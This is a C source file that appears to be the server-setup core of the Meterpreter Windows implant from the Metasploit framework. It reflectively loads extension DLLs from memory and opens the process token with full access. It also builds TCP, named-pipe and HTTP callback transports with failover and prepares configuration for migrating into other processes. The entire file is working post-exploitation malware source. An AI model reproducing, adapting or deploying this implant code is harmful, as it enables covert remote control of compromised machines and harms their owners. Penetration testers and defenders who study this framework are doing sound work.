text: /*!
   * @file server_setup.c
   */
  #include "metsrv.h"
  #include <ws2tcpip.h>
  #include "common_exports.h"
  
  #include "server_transport_winhttp.h"
  #include "server_transport_tcp.h"
  #include "server_transport_named_pipe.h"
  #include "packet_encryption.h"
  
  extern Command* extensionCommands;
  
  int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
  {
  	return EXCEPTION_EXECUTE_HANDLER;
  }
  
  /*!
   * @brief Get the session id that this meterpreter server is running in.
   * @return ID of the current server session.
   */
  DWORD server_sessionid()
  {
  	typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
  
  	static PROCESSIDTOSESSIONID processIdToSessionId = NULL;
  	HMODULE kernel	 = NULL;
  	DWORD sessionId = 0;
  
  	do
  	{
  		if (!processIdToSessionId)
  		{
  			kernel = LoadLibraryA("kernel32.dll");
  			if (kernel)
  			{
  				processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId");
  			}
  		}
  
  		if (!processIdToSessionId)
  		{
  			break;
  		}
  
  		if (!processIdToSessionId(GetCurrentProcessId(), &sessionId))
  		{
  			sessionId = -1;
  		}
  
  	} while( 0 );
  
  	if (kernel)
  	{
  		FreeLibrary(kernel);
  	}
  
  	return sessionId;
  }
  
  /*!
   * @brief Load any stageless extensions that might be present in the current payload.
   * @param remote Pointer to the remote instance.
   * @param fd The socket descriptor passed to metsrv during intialisation.
   * @return Pointer to the end of the configuration.
   */
  LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions)
  {
  	while (stagelessExtensions->size > 0)
  	{
  		dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
  		HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER));
  		load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
  		stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
  	}
  
  	dprintf("[SERVER] All stageless extensions loaded");
  
  	// once we have reached the end, we may have extension initializers
  	LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size);
  
  	// Config blog is terminated by a -1
  	while (*(UINT*)initData != 0xFFFFFFFF)
  	{
  		UINT extensionId = *(UINT*)initData;
  		DWORD dataSize = *(DWORD*)(initData + sizeof(DWORD));
  		UINT offset = sizeof(UINT) + sizeof(DWORD);
  		LPBYTE data = initData + offset;
  		dprintf("[STAGELESS] init data at %p, ID %u, size is %d", initData, extensionId, dataSize);
  		stagelessinit_extension(extensionId, data, dataSize);
  		initData = data + dataSize;
  		dprintf("[STAGELESS] init done, now pointing to %p", initData);
  		dprintf("[STAGELESS] %p contains %x", *(UINT*)initData);
  	}
  
  	dprintf("[SERVER] All stageless extensions initialised");
  	return initData + sizeof(UINT);
  }
  
  static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size)
  {
  	Transport* transport = NULL;
  	dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url);
  	dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout);
  	dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total);
  	dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait);
  
  	if (wcsncmp(transportCommon->url, L"tcp", 3) == 0)
  	{
  		transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size);
  	}
  	else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0)
  	{
  		transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size);
  	}
  	else
  	{
  		transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size);
  	}
  
  	if (transport == NULL)
  	{
  		// something went wrong
  		return NULL;
  	}
  
  	// always insert at the tail. The first transport will be the one that kicked everything off
  	if (remote->transport == NULL)
  	{
  		// point to itself, as this is the first transport.
  		transport->next_transport = transport->prev_transport = transport;
  		remote->transport = transport;
  	}
  	else
  	{
  		transport->prev_transport = remote->transport->prev_transport;
  		transport->next_transport = remote->transport;
  
  		remote->transport->prev_transport->next_transport = transport;
  		remote->transport->prev_transport = transport;
  	}
  
  	return transport;
  }
  
  static void append_transport(Transport** list, Transport* newTransport)
  {
  	if (*list == NULL)
  	{
  		// point to itself!
  		newTransport->next_transport = newTransport->prev_transport = newTransport;
  		*list = newTransport;
  	}
  	else
  	{
  		// always insert at the tail
  		newTransport->prev_transport = (*list)->prev_transport;
  		newTransport->next_transport = (*list);
  
  		(*list)->prev_transport->next_transport = newTransport;
  		(*list)->prev_transport = newTransport;
  	}
  }
  
  static void remove_transport(Remote* remote, Transport* oldTransport)
  {
  	// if we point to ourself, then we're the last one
  	if (remote->transport->next_transport == remote->transport)
  	{
  		remote->transport = NULL;
  	}
  	else
  	{
  		// if we're removing the current one we need to move the pointer to the
  		// next one in the list.
  		if (remote->transport == oldTransport)
  		{
  			remote->transport = remote->transport->next_transport;
  		}
  
  		oldTransport->prev_transport->next_transport = oldTransport->next_transport;
  		oldTransport->next_transport->prev_transport = oldTransport->prev_transport;
  	}
  
  	oldTransport->transport_destroy(oldTransport);
  }
  
  static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize)
  {
  	DWORD totalSize = 0;
  	MetsrvTransportCommon* current = transports;
  
  	// The first part of the transport is always the URL, if it's NULL, we are done.
  	while (current->url[0] != 0)
  	{
  		DWORD size;
  		if (create_transport(remote, current, &size) != NULL)
  		{
  			dprintf("[TRANS] transport created of size %u", size);
  			totalSize += size;
  
  			// go to the next transport based on the size of the existing one.
  			current = (MetsrvTransportCommon*)((LPBYTE)current + size);
  		}
  		else
  		{
  			// This is not good
  			return FALSE;
  		}
  	}
  
  	// account for the last terminating NULL wchar
  	*parsedSize = totalSize + sizeof(wchar_t);
  
  	return TRUE;
  }
  
  static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size)
  {
  	// This function is really only used for migration purposes.
  	DWORD s = sizeof(MetsrvSession);
  	MetsrvSession* sess = (MetsrvSession*)malloc(s);
  	ZeroMemory(sess, s);
  
  	dprintf("[CONFIG] preparing the configuration");
  
  	// start by preparing the session, using the given UUID if specified, otherwise using
  	// the existing session UUID
  	memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE);
  	// session GUID should persist across migration
  	memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID));
  	sess->expiry = remote->sess_expiry_end - current_unix_timestamp();
  	sess->exit_func = EXITFUNC_THREAD; // migration we default to this.
  
  	Transport* current = remote->transport;
  	Transport* t = remote->transport;
  	do
  	{
  		// extend memory appropriately
  		DWORD neededSize = t->get_config_size(t);
  
  		dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize);
  
  		sess = (MetsrvSession*)realloc(sess, s + neededSize);
  
  		// load up the transport specifics
  		LPBYTE target = (LPBYTE)sess + s;
  
  		ZeroMemory(target, neededSize);
  		s += neededSize;
  
  		if (t == current && t->get_handle != NULL)
  		{
  			sess->comms_handle.handle = t->get_handle(t);
  			dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle);
  		}
  
  		switch (t->type)
  		{
  			case METERPRETER_TRANSPORT_TCP:
  			{
  				transport_write_tcp_config(t, (MetsrvTransportTcp*)target);
  				break;
  			}
  			case METERPRETER_TRANSPORT_PIPE:
  			{
  				transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target);
  				break;
  			}
  			case METERPRETER_TRANSPORT_HTTP:
  			case METERPRETER_TRANSPORT_HTTPS:
  			{
  				transport_write_http_config(t, (MetsrvTransportHttp*)target);
  				break;
  			}
  		}
  
  		t = t->next_transport;
  	} while (t != current);
  
  	// Terminate the transport with a NULL wchar.
  	// Then terminate the extensions with a zero DWORD.
  	// Then terminate the config with a -1 DWORD
  	DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD) + sizeof(DWORD);
  	sess = (MetsrvSession*)realloc(sess, s + terminatorSize);
  	memset((LPBYTE)sess + s, 0xFF, terminatorSize);
  	ZeroMemory((LPBYTE)sess + s, terminatorSize - sizeof(DWORD));
  	s += terminatorSize;
  
  	// hand off the data
  	dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess);
  	*size = s;
  	*config = (MetsrvConfig*)sess;
  }
  
  /*!
   * @brief Setup and run the server. This is called from Init via the loader.
   * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
   * @return Meterpreter exit code (ignored by the caller).
   */
  DWORD server_setup(MetsrvConfig* config)
  {
  	THREAD* serverThread = NULL;
  	Remote* remote = NULL;
  	char stationName[256] = { 0 };
  	char desktopName[256] = { 0 };
  	DWORD res = 0;
  
  	dprintf("[SERVER] Initializing from configuration: 0x%p", config);
  	dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
  	dprintf("[SESSION] Expiry: %u", config->session.expiry);
  
  	dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
  		config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3],
  		config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7],
  		config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11],
  		config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]);
  
  	dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
  		config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3],
  		config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7],
  		config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11],
  		config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]);
  
  	disable_thread_error_reporting();
  
  	srand((unsigned int)time(NULL));
  
  	__try
  	{
  		do
  		{
  			// Open a THREAD item for the servers main thread, we use this to manage migration later.
  			serverThread = thread_open();
  
  			dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
  
  			if (!(remote = remote_allocate()))
  			{
  				SetLastError(ERROR_NOT_ENOUGH_MEMORY);
  				break;
  			}
  
  			remote->sess_expiry_time = config->session.expiry;
  			remote->sess_start_time = current_unix_timestamp();
  			remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;
  
  			dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);
  
  			DWORD transportSize = 0;
  			if (!create_transports(remote, config->transports, &transportSize))
  			{
  				// not good, bail out!
  				SetLastError(ERROR_BAD_ARGUMENTS);
  				break;
  			}
  
  			dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
  			if (remote->transport->set_handle)
  			{
  				remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
  			}
  
  			// Set up the transport creation function pointer
  			remote->trans_create = create_transport;
  			// Set up the transport removal function pointer
  			remote->trans_remove = remove_transport;
  			// and the config creation pointer
  			remote->config_create = config_create;
  
  			// Store our thread handle
  			remote->server_thread = serverThread->handle;
  
  			dprintf("[SERVER] Registering dispatch routines...");
  			register_dispatch_routines();
  			
  			// this has to be done after dispatch routine are registered
  			LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
  
  			dprintf("[SERVER] Copying configuration ..");
  			// the original config can actually be mapped as RX in cases such as when stageless payloads
  			// are baked directly into .NET assemblies. We need to make sure that this area of memory includes
  			// The writable flag as well otherwise we get access violations when we're interacting with the
  			// configuration block down the track. So instead of marking the original configuration as RWX (to cover
  			// all cases) we will instead just muck with a copy of it on the heap.
  			DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config;
  			remote->orig_config = (MetsrvConfig*)malloc(configSize);
  			memcpy_s(remote->orig_config, configSize, config, configSize);
  			dprintf("[SERVER] Config copied..");
  
  			// Store our process token
  			if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
  			{
  				OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
  			}
  
  			if (scheduler_initialize(remote) != ERROR_SUCCESS)
  			{
  				SetLastError(ERROR_BAD_ENVIRONMENT);
  				break;
  			}
  
  			// Copy it to the thread token
  			remote->thread_token = remote->server_token;
  
  			// Save the initial session/station/desktop names...
  			remote->orig_sess_id = server_sessionid();
  			remote->curr_sess_id = remote->orig_sess_id;
  			GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
  			remote->orig_station_name = _strdup(stationName);
  			remote->curr_station_name = _strdup(stationName);
  			GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
  			remote->orig_desktop_name = _strdup(desktopName);
  			remote->curr_desktop_name = _strdup(desktopName);
  
  			remote->sess_start_time = current_unix_timestamp();
  
  			dprintf("[SERVER] Time to kick off connectivity to MSF ...");
  			// loop through the transports, reconnecting each time.
  			while (remote->transport)
  			{
  				if (remote->transport->transport_init)
  				{
  					dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
  					// Each transport has its own set of retry settings and each should honour
  					// them individually.
  					if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
  					{
  						dprintf("[SERVER] transport initialisation failed, moving to the next transport");
  						remote->transport = remote->transport->next_transport;
  
  						// when we have a list of transports, we'll iterate to the next one.
  						continue;
  					}
  				}
  
  				dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
  				DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
  
  				dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
  				if (remote->transport->transport_deinit)
  				{
  					dprintf("[DISPATCH] deinitialising transport");
  					remote->transport->transport_deinit(remote->transport);
  				}
  
  				dprintf("[TRANS] resetting transport");
  				if (remote->transport->transport_reset)
  				{
  					remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
  				}
  
  				// If the transport mechanism failed, then we should loop until we're able to connect back again.
  				if (dispatchResult == ERROR_SUCCESS)
  				{
  					dprintf("[DISPATCH] Server requested shutdown of dispatch");
  					// But if it was successful, and this is a valid exit, then we should clean up and leave.
  					if (remote->next_transport == NULL)
  					{
  						dprintf("[DISPATCH] No next transport specified, leaving");
  						// we weren't asked to switch transports, so we exit.
  						break;
  					}
  
  					// we need to change transports to the one we've been given. We will assume, for now,
  					// that the transport has been created using the appropriate functions and that it is
  					// part of the transport list.
  					dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
  					remote->transport = remote->next_transport;
  					remote->next_transport = NULL;
  				}
  				else
  				{
  					// move to the next one in the list
  					dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
  					remote->transport = remote->transport->next_transport;
  				}
  
  				// transport switching and failover both need to support the waiting functionality.
  				if (remote->next_transport_wait > 0)
  				{
  					dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
  
  					sleep(remote->next_transport_wait);
  
  					// the wait is a once-off thing, needs to be reset each time
  					remote->next_transport_wait = 0;
  				}
  
  				// if we had an encryption context we should clear it up.
  				free_encryption_context(remote);
  			}
  
  			// clean up the transports
  			while (remote->transport)
  			{
  				remove_transport(remote, remote->transport);
  			}
  
  			dprintf("[SERVER] Deregistering dispatch routines...");
  			deregister_dispatch_routines(remote);
  		} while (0);
  
  		dprintf("[DISPATCH] calling scheduler_destroy...");
  		scheduler_destroy();
  
  		dprintf("[DISPATCH] calling command_join_threads...");
  		command_join_threads();
  
  		remote_deallocate(remote);
  	}
  	__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
  	{
  		dprintf("[SERVER] *** exception triggered!");
  
  		thread_kill(serverThread);
  	}
  
  	dprintf("[SERVER] Finished.");
  	return res;
  }
  